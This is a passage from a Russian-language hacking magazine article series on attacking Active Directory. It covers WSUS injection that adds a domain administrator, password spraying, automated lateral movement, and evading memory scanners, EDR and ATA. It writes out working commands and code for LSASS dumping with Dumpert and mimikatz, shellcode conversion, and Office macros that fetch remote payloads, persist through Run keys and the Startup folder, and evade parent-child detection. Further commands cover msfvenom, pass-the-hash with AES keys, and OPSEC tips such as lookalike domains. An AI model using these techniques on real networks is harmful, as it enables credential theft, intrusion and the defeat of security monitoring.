'‐accepteula ‐s ‐d cmd.exe /c "net user [USER] [PASSWORD] /add && 
net localgroup Administrators [USER] /add"' ‐ComputerName DC1.domain 

Everything seems ok. Waiting for client now...
To clean the injection, execute the following command:

.\Wsuspendu.ps1 ‐Clean ‐UpdateID 12345678‐90ab‐cdef‐1234‐567890abcdef

Кон соль WSUS

Уве дом ление о новом обновле нии

Об новле ние  будет  зависеть  от  кон фигура ции  кли ента,  неваж но,  был  ли  он
нас тро ен  для  авто мати чес кой  или  руч ной  уста нов ки  обновле ний.  Новое
обновле ние само по себе может быть уста нов лено без какого‐либо вза имо‐ 
дей ствия с поль зовате лем.

РАСПЫЛЕНИЕ ПАРОЛЕЙ
Рас пыление  пароля  (Password  Spraying)  отно сит ся  к  методу  ата ки,  который
при нима ет  боль шое  количес тво  имен  поль зовате лей  и  перечис ляет  их
с  помощью  одно го  пароля  или  малого  количес тва  паролей.  Так  как  допус‐ 
тимое  количес тво  попыток  вво да  пароля  обыч но  невели ко,  этот  метод  поз‐ 
воля ет избе жать бло киро вок полити кой паролей, и он час то более эффекти‐ 
вен  для  обна руже ния  сла бых  паролей.  Пос ле  успешно го  получе ния  спис ка
дей стви тель ных поль зовате лей  зло умыш ленни ки неред ко про веря ют  час тые
или извес тные пароли или бла года ря накоп ленным в про цес се раз ведки дан‐ 
ным  про буют  ОДИН  тща тель но  про думан ный  пароль  для  ВСЕХ  извес тных
учет ных записей поль зовате лей.

Рас пыление паролей про водит ся, как пра вило, на одном из началь ных эта‐ 
пов без наличия при виле гий. Эта пы ата ки рас пыления паролей:
1. Вклю чение в сеть  (в слу чае тес та на про ник новение) или ком про мета ция
учет ной записи поль зовате ля (для зло умыш ленни ка).

2. Пе речис ление груп повой полити ки и полити ки паролей.
3. Пе речис ление имен поль зовате лей.
4. Рас пыление паролей.

Для выпол нения дан ной ата ки написан скрипт  , который поз воля ет ука‐ 
зать пароль ную полити ку. Spray дает  воз можность про водить ата ку  на SMB,
OWA  (веб‐кли ент  для  дос тупа  к  сер веру  сов мес тной  работы  Microsoft  Ex‐
change),  Lync,  CISCO  Web  VPN.  Для  работы  скрипт  тре бует  спи сок  поль‐ 
зовате лей и паролей.

Spray

Аль тер натив ное  авто мати чес кое  решение  —  PowerShell‐скрипт 
. Он тре бует толь ко пароль либо спи сок паролей. При этом он

авто мати чес ки перечис ляет поль зовате лей домена и пароль ные полити ки.

Domain‐
PasswordSpray

Скрин шот исполь зования DomainPasswordSpray из при мера опи сания
прог раммы

Кро ме того, скрипт поз воля ет узнать спи сок всех поль зовате лей.

АВТОМАТИЗАЦИЯ LATERAL MOVEMENT
Мно жес тво сетей мож но взло мать, сле дуя опре делен ным стан дар тным алго‐ 
рит мам  дей ствия.  Что бы  не  тра тить  вре мя  на  про вер ку  дан ных  кон тек стов
раз вития  событий,  были  раз работа ны  инс тру мен ты  авто мати зации  шагов
каж дого кон тек ста.

GoFetch
 — это инс тру мент для авто мати чес кого осу щест вле ния пла на ата ки,

соз данно го при ложе нием BloodHound.
GoFetch

Сна чала GoFetch заг ружа ет свя зи локаль ных поль зовате лей‐адми нис тра‐ 
торов и компь юте ров, соз данных BloodHound, и пре обра зует его в собс твен‐ 
ный фор мат пла на для ата ки. Как толь ко план ата ки готов, GoFetch прод вига‐ 
ется к мес ту наз начения в соот ветс твии с пла ном, шаг за шагом, пос ледова‐ 
тель но при меняя методы уда лен ного выпол нения кода и ком про мети руя учет‐ 
ные дан ные с помощью mimikatz.

Ло гика работы GoFetch

GoFetch  написан  на  PowerShell,  что  помога ет  скры вать ся  от  обна руже ния,
одна ко  исполь зуемые  модули  Python  могут  выдать  работу  это го  средс тва.
В  качес тве  парамет ров  GoFetch  исполь зует  свя зи  объ ектов,  соз данные
с  помощью  BloodHound,  и  пей лоад  для  выпол нения  в  фор мате  BAT,  EXE
или PS1.

Так же для при мера было пред став лено   это го средс тва.ви део работы

ANGRYPUPPY
  —  это  инс тру мент  для  фрей мвор ка  Cobalt  Strike,  пред назна‐ 

чен ный для авто мати чес кого ана лиза и выпол нения путей ата ки BloodHound.
ANGRYPUPPY исполь зует встро енное боковое дви жение Cobalt Strike и воз‐ 
можнос ти кра жи учет ных дан ных Beacon. Это поз воля ет авто мати чес ки извле‐ 
кать  сеан сы  для  управле ния  в  Cobalt  Strike  и  исполь зовать  его  канал  свя зи
SMB  C2.  Кро ме  того,  ANGRYPUPPY  дает  воз можность  выбирать  тех нику,
которую  опе ратор  хочет  исполь зовать  для  выпол нения  дей ствий  боково го
дви жения.

ANGRYPUPPY

ANGRYPUPPY при нима ет путь ата ки BloodHound в фор мате JSON, а затем
опре деля ет дей ствия, нуж ные для выпол нения пути ата ки, кра жи учет ных дан‐ 
ных или боково го переме щения по мере необ ходимос ти.

Ло гика работы ANGRYPUPPY

Опе ратор  прос то  вво дит    в  любую  кон соль  маяка  Cobalt  Strike,
а затем может импорти ровать путь ата ки, выбирать тех нику боково го переме‐ 
щения  и  выпол нять  ата ку.  Это  дей ствие  записы вает ся  в  жур нал  событий
Cobalt Strike вмес те с име нем опе рато ра и иден тифика тором ANGRYPUPPY.
Не рекомен дует ся  выпол нять дру гие дей ствия боково го дви жения  во  вре мя
работы ANGRYPUPPY!

angrypuppy

Де монс тра ция работы это го инс тру мен та так же запечат лена  .на видео

DeathStar
 — это скрипт Python, исполь зующий API‐интерфейс RESTful Empire

для авто мати зации атак в сре де Active Directory с исполь зовани ем раз личных
методов.

DeathStar

Ло гика работы DeathStar

Так  как  BloodHound  прос матри вает  не  все  пути  прод вижения  (те  же  GPP
и SYSVOL не под лежат ана лизу BloodHound), дан ный инс тру мент исполь зует
мак симум  воз можнос тей,  которые  пре дос тавля ет  API  RESTful  Empire
PowerShell.

Раз работ чики  пред ста вили    ,  демонс три рующих  работу  Death‐
Star. Но есть один минус: со 2 августа 2019 года этот про ект боль ше не под‐ 
держи вает ся, так как прек ратил свое сущес тво вание про ект Empire.

два ви део

ЗАКЛЮЧЕНИЕ
Бла года ря  боково му  переме щению  мы  можем  легитим ным  обра зом  прод‐ 
вигать ся  по  сети,  исполь зуя  для  это го  лишь  учет ные  дан ные  поль зовате лей
или  раз решен ные  средс тва  дос тавки  и  обновле ния  ПО,  что  поз волит
получать информа цию с ата кован ных машин без исполь зования RAT.

На пос ледок хотелось бы отме тить, что эта статья задума на не в качес тве
руководс тва  к  дей ствию.  Она  лишь  показы вает,  нас коль ко  ком петен тны ми
дол жны  быть  сис темные  адми нис тра торы,  обес печива ющие  безопас ность
в сре де Active Directory. Пом ни, что все неп равомер ные дей ствия прес леду‐ 
ются по закону!

Для  тех,  кто  хочет  получить  боль ше  информа ции  по  этой  теме,  я  соз дал
телег рам‐канал  ,  где  ты  смо жешь  задать  свои  воп росы
(или отве тить  на  воп росы дру гих юзе ров). До  встре чи  в  сле дующих  стать ях!

@RalfHackerChannel
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COVERSTORY

Как  извес тно,  любая  ата ка  выпол няет ся
в  нес коль ко  эта пов.  Мы  успешно  про вели
раз ведку,  повыси ли  собс твен ные  при виле‐ 
гии,  прод винулись,  куда  толь ко  захоте ли,
и в ито ге сумели зах ватить всю сеть. Но вот
проб лема:  нас  обна ружи ли,  отре зали
от сети и пой мали. Что бы избе жать подоб‐ 
ного раз вития событий, нас тало вре мя рас‐ 
смот реть методы защиты от обна руже ния.

Читай так же про пен тесты Active Directory
• Раз ведка  в  Active  Directory.  Получа ем  поль зователь ские  дан ные  в  сетях
Windows без при виле гий

• Ата ки  на Active Directory.  Раз бира ем акту аль ные методы повыше ния  при‐ 
виле гий

• Бо ковое переме щение в Active Directory. Раз бира ем тех ники Lateral Move‐
ment при ата ке на домен

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми этой статьи.

УКЛОНЕНИЕ ОТ СКАНЕРОВ ПАМЯТИ
Лю бые  дей ствия  в  сис теме  так  или  ина че  регис три руют ся,  и  пол ностью
скрыть ся  от  опыт ного  наб людате ля  никог да  не  получит ся.  Но  мож но  мак‐ 
сималь но замас кировать ся. Боль шинс тво команд Red Team или пен тесте ров
при ата ке на домен исполь зуют PowerShell. При чем он стал нас толь ко популя‐ 
рен, что появи лись целые фрей мвор ки, к при меру   и  . Кро ме
того,  скрип ты PowerShell могут быть обфусци рова ны с помощью  того же 

.  В  ответ  на  появ ление  всех  этих  инс тру мен тов  сто рона
защиты раз работа ла методы их обна руже ния, такие как выяв ление стран ных
родитель ских‐дочер них свя зей, подоз ритель ные аргу мен ты коман дной стро‐ 
ки и даже раз личные спо собы деоб фуска ции PowerShell.

Empire PowerSploit
In‐

voke‐Obfuscation

Од но  из  самых  передо вых  средств  для  атак  на  домены  Windows  с  воз‐ 
можностью  скры тия  активнос ти — Cobalt  Strike,  в  час тнос ти  исполь зование
модуля  .  Есть  воз можность  выпол нять  близ кие  к  Power‐
Shell‐скрип там прог раммы, написан ные на C#. К при меру, соб ранный на C#

, который дуб лиру ет фун кции модуля   из пакета 
. В дан ном при мере  у  кон трол лера домена зап рашива ются свой ства

,   и   для каж дой учет ной записи.

execute‐assembly

get‐users Get‐NetUser Pow‐
erView
SAMAccountName UserGivenName UserSurname

За пуск get‐users с помощью модуля execute‐assembly

Да вай пос мотрим, что про исхо дит в это вре мя на целевой машине. Сде лать
это мож но с помощью ProcMon.

Де рево про цес сов, пос тро енное ProcMon

Про цесс   содер жит наг рузку Cobalt Strike, а про цесс 
 исполь зует ся для заг рузки и выпол нения  . Сто ит ска зать,

что    явля ется  родите лем    толь ко  потому,  что
наг рузка Cobalt Strike была запуще на из‐под PowerShell.

powershell.exe rundl‐
l32.exe get‐users

powershell.exe rundll32.exe

Но  наг рузку  Cobalt  Strike  мож но  запус кать  из‐под  любого  про цес са,
при этом так же име ется воз можность миг рировать в раз ные про цес сы. Кро‐ 
ме того, некото рые фун кции Cobalt Strike выг ружа ются в новые про цес сы, что
поз воля ет  обес печить  ста биль ную  работу  это го  ПО.  Помимо  про чего,  биб‐ 
лиоте ки DLL, заг ружен ные в про цесс  , вклю чают в себя те, которые
необ ходимы для  ,  нап ример  биб лиоте ки  LDAP  и  аутен тифика цию
Kerberos.

rundll32
get‐users

DLL‐биб лиоте ки, заг ружен ные в rundll32

Глав ное пре иму щес тво дан ного модуля зак люча ется в том, что файл никог да
не пишет ся на диск,  то есть сбор ка выпол няет ся стро го в памяти. При этом
во вре мя ана лиза памяти боль шое вни мание  уде ляет ся фун кции 

,  бла года ря  которой  вре донос ные  прог раммы миг риру ют  в  дру‐ 
гие  про цес сы  и  заг ружа ются  обра зы. Модуль    заг ружа ет
поль зователь скую сбор ку при помощи встро енной фун кции  , а так
как эта фун кция исполь зует ся в основном легитим ными про цес сами для заг‐ 
рузки DLL, обна ружить заг рузку сбор ки очень слож но.

CreateRe‐
moteThread

execute‐assembly
LoadImage

Сто ит добавить, что PowerShell — не единс твен ный легитим ный про цесс,
исполь зование  которо го  прис таль но  отсле жива ется  сто роной  защиты.  Дру‐ 
гие рас простра нен ные прог раммы и служ бы (такие как WMIC или schtasks/at)
так же  под лежат  тща тель ному  кон тро лю.  Но  и  фун кции  этих  инс тру мен тов
могут быть  вос про изве дены  в  поль зователь ских  сбор ках  .NET.  А  это  зна чит,
что есть воз можность их скры того исполь зования с помощью того же модуля

.execute‐assembly

УКЛОНЕНИЕ ОТ EDR
Endpoint  Detection  and  Response  (EDR)  —  тех нология  обна руже ния  угроз
и  реаги рова ния  на  око неч ном  обо рудо вании.  EDR  пос тоян но  отсле жива ет
и  ана лизи рует  подоз ритель ную  активность  и  при нима ет  необ ходимые меры
в  ответ  на  нее.  Так  как  боль шинс тво  орга низа ций  сос редота чива ются
на безопас ности сети, то они оставля ют без вни мания активность на око неч‐ 
ном  обо рудо вании.  Явля ясь  одним  из  основных  источни ков  информа ции
для SOC, EDR помога ет зак рыть эту брешь за счет нас трой ки раз ных политик,
вклю чающих  в  себя  кон троль  запус ка  при ложе ний,  кон троль  мак росов
и скрип тов, ана лиз дей ствий с памятью и мно гое дру гое.

Все  опи сан ные  в  статье методы могут  перек ликать ся  с  темой  укло нения
от EDR, но имен но в этом раз деле хотелось бы рас смот реть скры тую работу
кри тичес кого  ПО  (такого  как  mimikatz)  и  дос тавле ние  пер воначаль ной  наг‐ 
рузки.

Скры ваем работу mimikatz
Как пра вило, поч ти все EDR обна ружи вают исполь зование одно го из глав ных
инс тру мен тов  любого  пен тесте ра,  ред тимщи ка  или  зло умыш ленни ка,  ата‐ 
кующе го Windows‐сис темы, — mimikatz. Поэто му исполь зование дан ного инс‐ 
тру мен та  в  чис том  виде,  ког да  име ешь  дело  с  серь езны ми  орга низа циями,
не име ет никако го смыс ла.

Как  вари ант,  мож но  сдам пить  про цесс  LSASS,  с  которым  и  работа ет
mimikatz для получе ния важ ных дан ных. Но исполь зование ProcDump EDR так‐ 
же обна ружит из‐за перех вата соот ветс тву ющих вызовов API. Таким обра зом,
если  отсо еди нить  про цесс  LSASS  от  соот ветс тву ющих  API,  то  его  мож но
незамет но  сдам пить.  Имен но  так  и  работа ет  инс тру мент  под  наз вани ем

. Бла года ря пря мым сис темным вызовам и отсо еди нению API дан ный
инс тру мент  поз воля ет  сде лать  уко рочен ный  дамп  про цес са  LSASS  в  обход
анти вирус ных средств и EDR.

Dumpert

Соз дание дам па LSASS с помощью Dumpert

И теперь мож но исполь зовать mimikatz для извле чения информа ции из дам‐ 
па, пред варитель но ука зав файл дам па.

mimikatz # securlsa::minidump [путь к дампу]
mimikatz # securlsa::logonpasswords

Этот спо соб защища ет от обна руже ния EDR во вре мя дам па, но он оставля ет
замет ные сле ды, сох раняя файл прог раммы на дис ке. Как уже было ска зано,
инъ екции кода помога ют избе жать записи на диск. Но опять же обыч ные инъ‐ 
екции DLL  будут  обна руже ны  EDR,  поэто му  была  раз работа на  тех ника  sRDI
и   для ее реали зации. Под робное опи сание их
исполь зования и прин ципов работы при лага ется к самим инс тру мен там.
со ответс тву ющие инс тру мен ты

Спе циаль но  для  инъ екций  сущес тву ет  .  Для  ее  пре‐ 
обра зова ния будем исполь зовать скрипт   из пакета
sRDI.

DLL‐вер сия  Dumpert
ConvertToShellcode.py

python3 ConvertToShellcode.py Outflank‐Dumpert.dll

Внед рить получен ный шелл мож но с помощью модуля   Cobalt Strike,
ука зав PID про цес са.

shinject

Мо дуль shinject Cobalt Strike

Но  спе циаль но  для  Cobalt  Strike  на  его  собс твен ном  язы ке  Agressor  Script
была раз работа на  .своя вер сия Dumpert

Dumpert для Cobalt Strike

Та ким обра зом, с помощью объ еди нения нес коль ких средств мы можем дос‐ 
тичь скры той работы при кра же учет ных дан ных из LSASS.

Продолжение статьи →
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Ук лоня емся от пра вила «родитель ский‑дочер ний про цесс» 
 офис ных докумен товв макросах

Са мое  популяр ное  средс тво  дос тавки  началь ных  заг рузчи ков  или  полез ной
наг рузки в АРТ‐ата ках — мак росы в офис ных докумен тах. При этом идеи экс‐ 
плу ата ции  в  мак росах  оста ются  одни ми  и  теми  же,  усложня ется  лишь  их
интер пре тация, то есть добав ляет ся обфуска ция для обхо да EDR.

Мак росы  офис ных  при ложе ний  пишут ся  на  VBScript,  который  под держи‐ 
вает мно го полез ных фун кций и может обес печить пол ный дос туп к сис теме.
Так,    исполь зует  пос ледова тель ность  WinWord →  cmd →  PowerShell,
а груп па   исполь зовала мак рос, вызывав ший certutil для декоди рова ния
наг рузки.

Emotet
APT28

Как ни обфусци руй мак росы, но при веден ные при меры будут обна руже ны
EDR  по  пат терну  родитель ский‐дочер ний  про цесс,  так  как  cmd,  PowerShell
или certutil будут вызывать ся из про цес са  ,  то есть будут его дочер‐ 
ними про цес сами.

WinWord

Но есть нес коль ко спо собов укло нить ся от подоб ного шаб лона EDR.

1. Укло нение от пря мого ана лиза потом ков
Что бы  новые  про цес сы  не  про исхо дили  от  ,  мож но  исполь зовать
для их запус ка WMI. Новый про цесс ста нет дочер ним про цес сом 

. Сде лать это мож но с помощью сле дующе го кода.

WinWord
wmiprvse.

exe

Set obj = GetObject("new:C08AFD90‐F2A1‐11D1‐8455‐00A0C91F3880")
obj.Document.Application.ShellExecute "APPLICATION",Null,"FOLDER",
Null,0

Так же  мож но  заг ружать  и  выпол нять  код  пря мо  внут ри  про цес са  .
Для это го исполь зует ся XMLDOM.

WinWord

Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xsl.load(“http://ip/payload.xsl”)
xml.transformNode xsl

2. Укло нение за счет зап ланиро ван ных задач
С помощью VBScript мож но соз давать зап ланиро ван ные задачи. Новый про‐ 
цесс будет запущен от име ни  . Это удоб но и тем, что мы можем
зап ланиро вать  выпол нение  через  нес коль ко  дней  или  недель.  Сде лать
это мож но с помощью сле дующе го кода, ука зав нуж ную дату.

svchost.exe

Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Microsoft Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "‐" & Right(Month(ts), 2) & "‐" & Right(Day(ts
), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" &
Right(Second(ts), 2)

trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "PATH/FOR/APPLICATION"
Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 
6, , , 3)

Единс твен ное,  что  может  выдать  исполь зование  объ екта 
, — это заг рузка   в  .

Schedule.
Service taskschd.dll WinWord

3. Работа с реес тром
С помощью сле дующе го кода VBScript мож но работать с реес тром.

Set WshShell = CreateObject("WScript.Shell")
WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\
Run\key", "value", "REG_SZ"

По доб ным обра зом мож но хра нить дан ные, переда вать их меж ду наг рузка ми
и изме нять непос редс твен но из мак роса.

4. Соз дание фай лов
Все‐таки без записи на диск воз можнос ти ата кующе го весь ма огра ничен ны.
Записать нуж ные дан ные по опре делен ному пути на дис ке мож но сле дующим
обра зом.

Path = CreateObject("WScript.Shell").SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(Path & "\SCRIPT.bat", True)
objFile.Write "notepad.exe" & vbCrLf
objFile.Close

Раз запись на диск про изош ла, то нуж но мак сималь но замас кировать дан ное
дей ствие.  Усложнить  ана лиз мож но,  исполь зуя  спе циаль ные  пути  к фай лам,
ведь нет ничего ано маль ного в том, что про цесс   про изво дит запись
во  вре мен ный  файл  tmp.  К  при меру,  мож но  выпол нить  запись  по  одно му
из этих путей:

WinWord

C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.
Word\~WRF{AE7BBF2F‐B65D‐4BF4‐9FAD‐A779AEC41A02}.tmp
C:\Users\<user>\AppData\Local\Temp\CVR497F.tmp
C:\Users\<user>\AppData\Local\Microsoft\Windows\Caches\{
AFBF9F1A‐8EE8‐4C77‐AF34‐C647E37CA0D9}.1.ver0x0000000000000016.db

Но мож но пой ти еще даль ше и изме нить шаб лон Office:

C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm

5. Заг рузка дан ных
VBScript  мож но  исполь зовать  для  заг рузки  раз личных  дан ных  по  сети.  Но,
если  исполь зовать  биб лиоте ку  XMLHTTP  или  фун кцию  API 

, про цесс   ини циирует сетевое соеди нение (и явно не с сай‐ 
том  Microsoft),  что  будет  отме чено  EDR  для  SOC.  Это го  мож но  избе жать
при помощи Internet Explorer COM.

URLDownload‐
ToFIleA WinWord

Set ie = CreateObject("InternetExplorer.Application")
ie.Navigate "https://pastebin.com/raw/payload"
State = 0
Do Until State = 4
DoEvents
State = ie.readyState
Loop
Dim payload: payload = ie.Document.Body.innerHTML

Ис поль зование  дан ного  метода  при ведет  к  вызову  бра узе ра  из  про цес са 
 для заг рузки дан ных.svchost.exe

6. Встра ива ние в мак рос
Так же  сущес тву ет  воз можность  вста вить  наг рузку  или  файл  в  сам  мак рос
и даже документ, что бы не заг ружать его по сети. Тот же Metasploit Framework
спо собен соз давать мак росы со встро енной наг рузкой.

msfvenom ‐p generic/custom PAYLOADFILE=payload_file ‐a x64 
‐‐platform windows ‐f vba‐exe

Но  проб лема  кро ется  в  том,  что  новый  про цесс  будет  запус кать ся  из‐под
про цес са  . Это лег ко испра вить, а как — мы уже рас смот рели выше.WinWord

Сто ит  отме тить,  что  дан ные  тех ники  впол не  при мени мы  по  отдель нос ти,
но шанс быть обна ружен ным ста нет мень ше, если исполь зовать эти методы
(или некото рые из них) сов мес тно.

OPSEC
Скры ваясь  во  вре мя  ата ки,  мож но  обма нуть  прог рам мный  про дукт,  но  куда
слож нее  обма нуть  челове ка.  Поэто му  во  вре мя  любой  ата ки  сто ит  думать
о сво их дей стви ях. Дам нес коль ко впол не оче вид ных советов.

Внед рение  в  про цес сы  —  обыч ное  дело,  но  сто ит  задумать ся  о  том,
в какие про цес сы сто ит внед рять ся. Ведь некото рые про цес сы поль зователь
может зак рыть за ненадоб ностью, поэто му сто ит выбирать те, что обес печат
более про дол житель ный жиз ненный цикл полез ной наг рузки. При этом, ско‐ 
рее  все го,  вызовет  подоз рение,  что  блок нот  (про цесс  )  обра‐ 
щает ся к уда лен ному сер веру или выходит в интернет. Поэто му опыт ный ата‐ 
кующий  ско рее  будет  внед рять ся  в  служ бу  обновле ний  или  бра узер,  чье
пред назна чение объ ясня ет необ ходимость работы с сетью.

notepad.exe

Мы уже говори ли об исполь зовании PowerShell — иног да оно губитель но.
Поэто му любой опе ратор дол жен очень хорошо знать инс тру мен ты, с которы‐ 
ми он работа ет,  ведь мож но даже не догады вать ся,  что некото рые наг рузки
или  коман ды  популяр ных  фрей мвор ков  исполь зуют  PowerShell  (к  при меру,

 или   в Cobalt Strike).wmi psexec_psh
Еще  одна  из  мер  пре дос торож ности —  исполь зовать  схо жие  домен ные

име на,  к при меру github.com и githab.com. Такие домены не вызовут подоз‐ 
рения, в отли чие от стран ных наборов сим волов  (встре чалось и что‐то  типа
такого:  kaWEFwkfbw.com).  Этот  под ход  исполь зует ся  как  при  рас сылке
фишин говых писем, так и для орга низа ции свя зи с управля ющим сер вером.

Под держи вать  связь  меж ду  зах вачен ными  хос тами  луч ше  все го
с помощью легитим ных для орга низа ции служб и прог рамм. Куда безопас нее
делать это через исполь зуемые в ском про мети рован ной сети RDP или RAd‐
min.  Для  сбо ра  допол нитель ной  информа ции  мож но  получать  скрин шоты
рабочих  сто лов,  а  так же  прив лекать  мик рофоны  и  камеры,  уста нов ленные
на хос тах (прав да, дан ный вид раз ведки тре бует мно го вре мени и уси лий).

Ни  в  коем  слу чае  не  сле дует  исполь зовать  рас простра нен ные  модули
популяр ных фрей мвор ков (нап ример,   из MSF) —
они обна ружи вают ся все ми видами средств защиты.

local_admin_search_enum

Ни ког да  не  отклю чай  на  зах вачен ных  хос тах  анти виру сы,  ATP  и  EDR.  Так
как боль шинс тво этих сис тем соз дают опо веще ние об отклю чении, это будет
оче вид ным сиг налом ано маль ной работы узла или всей сети.

И, как уже отме чалось, тре бует ся собирать и накап ливать все учет ные дан‐ 
ные,  даже  име на  поль зовате лей  без  паролей,  пароли  от  докумен тов,  хра‐ 
нилищ и поч товых ящи ков, и исполь зовать их кор реляции меж ду собой.

УКЛОНЕНИЕ ОТ ОБНАРУЖЕНИЯ АТА
Advanced Threat Analytics (ATA) пред став ляет собой плат форму для локаль ной
сети,  она  помога ет  защитить  орга низа цию  от  мно гих  типов  сов ремен ных
целевых компь ютер ных атак и внут ренних угроз. ATA исполь зует собс твен ный
механизм сетево го  ана лиза для  сбо ра и  валида ции  тра фика  по  нес коль ким
про токо лам про вер ки под линнос ти, авто риза ции и сбо ра информа ции  (Ker‐
beros, DNS, RPC, NTLM и дру гие).

ATA собира ет эти све дения при помощи таких механиз мов, как зер каль ное
отоб ражение пор тов с кон трол леров домена на шлюз ATA или раз верты вание
упро щен ного  шлю за  ATA  непос редс твен но  на  кон трол лерах  домена.  Таким
обра зом, дан ная тех нология слу жит хорошим помощ ником для SOC, силь но
усложняя работу напада ющей сто роне.

Для  укло нения  от  регис тра ции  атак  с  помощью  АТА  пер вым  делом  ата‐ 
кующий  дол жен  безуко риз ненно  сле довать  всем  пун ктам,  изло жен ным
в OPSEC. А имен но дос кональ но знать тех ники и инс тру мен ты, которы ми она
поль зует ся.  Это  важ но,  пос коль ку  АТА,  в  отли чие  от  EDR,  работа ет  за  счет
ана лиза  сетевой  активнос ти  (прос лушивая  про токо лы)  и  име ет  высокую
интегра цию  с  сис темны ми жур налами  событий,  ауди та  и  боль шим  количес‐ 
твом SIEM‐сис тем. То есть выделя ет ано малии в дей стви ях поль зовате лей.

Та ким обра зом, нам нуж но уме ло укло нять ся от обна руже ния на всех эта‐ 
пах  ата ки,  будь  то  раз ведка  (перечис ление  компь юте ров,  поль зовате лей
и подоб ное) или боковое дви жение (за счет переда чи билетов или хешей).

Раз ведка
В самом начале, ког да у нас есть обыч ные домен ные пра ва поль зовате ля, мы
ста раем ся  перечис лить  домены,  компь юте ры,  учет ные  записи  адми нис тра‐ 
торов  и  членс тво  в  раз ных  груп пах.  К  при меру,  ути лита    исполь зует
для ска ниро вания про токол SAMR, на который АТА сре аги рует событи ем 

  (раз ведка
с исполь зовани ем перечис ления служб катало гов).

net.exe
Re‐

connaissance  using  directory  services  enumeration

Со бытие Reconnaissance using directory services enumeration АТА

Но если для перечис лений при менить PowerView, то никаких дей ствий от АТА
мы  не  получим,  потому  что  дан ный  инс тру мент  вмес то  про токо ла  SAMR
исполь зует зап росы LDAP, на которые АТА не реаги рует.

Еще  один  вари ант  избе жать  детек та  с  помощью  АТА  —  WMI‐зап росы.
Для это го исполь зует ся сле дующий алго ритм.
1. По луча ем поль зовате лей в домене domain:

Get‐WmiObject ‐Class Win32_UserAccount ‐Filter "Domain='domain' 
AND Disabled='False'"

2. По луча ем груп пы в домене domain:

Get‐WmiObject ‐Class win32_group ‐Filter "Domain='domain'"

3. По луча ем членс тво в груп пе адми нис тра торов домена domain:

Get‐WmiObject ‐Class win32_groupUser | Where‐Object {($_.GroupC
omponent ‐match "Domain Admins") ‐and ($_.GroupComponent ‐match 
"opsdc")}

Ес ли  исполь зовать  коман ды    (най ти  машины
в  домене,  где  текущий  поль зователь  име ет  пра ва  локаль ного  адми нис тра‐ 
тора)  или    (для  перечис ления  поль зовате лей),  то
это  будет  обна руже но  АТА  как 

  (раз ведка  с  исполь зовани ем  перечис ления  сеан са  SMB). Одна ко
такую реак цию будут вызывать толь ко зап росы к кон трол леру домена. Если же
на эта пе перечис лений не обра щать ся к кон трол леру домена, то мож но избе‐ 
жать  обна руже ния  с  помощью  АТА.  Эти  же  коман ды  мож но  исполь зовать
с  парамет ром  ,  ука зав  спи сок  компь юте ров  (то  есть  все
машины, кро ме кон трол лера домена).

Find‐LocalAdminAccess

Invoke‐UserHunter
Reconnaissance using  SMB  session  enu‐

meration

‐ComputerFile

Invoke‐UserHunter ‐ComputerFile pc_list.txt ‐Verbose

Рас смот ренные в   методы ска ниро вания SPN так же
не отсле жива ются с помощью АТА.

пер вой час ти цик ла ста тей

Brute force
Час то воз ника ет пот ребность обес печить дос туп к машине в качес тве локаль‐ 
ного  поль зовате ля  для  получе ния  точ ки  опо ры  (зак репле ния).  При  этом
в пароль ной полити ке нет огра ниче ния на количес тво попыток вво да пароля.
В  этом  слу чае  мож но  исполь зовать  перебор  по  сло варю,  но  это  дей ствие
будет обна руже но АТА.

Со бытие Suspicious authentication failures АТА

Де ло  в  том,  что  АТА  опре деля ет  мно гок ратное  под клю чение  с  раз ными
пароля ми в течение корот кого про межут ка вре мени.

При чина события Suspicious authentication failures

Мож но избе жать обна руже ния, если при менять тех нику password spraying (так
как  мы  име ем  спи сок  поль зовате лей)  или  устра ивать  дли тель ные  задер жки
при перебо ре пароля. Так же мож но задей ство вать password spraying, чередуя
пароли с задер жка ми. При любом из этих вари антов мы укло няем ся от обна‐ 
руже ния АТА.

Overpass-The-Hash
До пус тим, мы получи ли дос туп к хешам NTLM и про вели ата ку Overpass‐the‐
hash для соз дания билета Kerberos и дос тупа к ресур сам или сер висам:

Invoke‐Mimikatz ‐Command '"sekurlsa::pth /user:[USER] /domain:[
DOMAIN] /ntlm:[NTLM хеш] /run:powershell.exe"'

Но  в  этом  слу чае мы  будем  обна руже ны  АТА.  При чем  сра бота ют  сра зу  два
пра вила:   и 

. При этом в сооб щении будет ука зана при чина — пониже ние уров ня
шиф рования.  Раз ница  в шиф ровании  при  переда че  обыч ного  пароля  и  при
переда че NTLM‐хеша вид на на сле дующем изоб ражении.

Encryption downgrade activity Unusual protocol implemen‐
tation

Уров ни шиф рования при раз личных спо собах авто риза ции

Ку да более схо жи меж ду собой спо собы авто риза ции при помощи обыч ного
пароля  и  с  при мене нием  AES.  Поэто му  избе жать  обна руже ния  АТА  мож но,
исполь зуя  клю чи  AES.  Для  их  извле чения  мож но  задей ство вать  тот  же
Mimikatz:

Invoke‐Mimikatz ‐Command '"sekurlsa::ekeys"' ‐ComputerName [PC Name]

Те перь  мож но  выпол нить  Overpass‐The‐Hash,  при  этом  в  качес тве  клю ча
AES128 исполь зовать любое зна чение.

Invoke‐Mimikatz ‐Command '"sekurlsa::pth /user:[USER] /domain:[
DOMAIN] /ase256:[Сдампленный AES256] /ntlm:[NTLM хеш] /aes128:012345
67890123456789012345678901 /run:powershell.exe"'

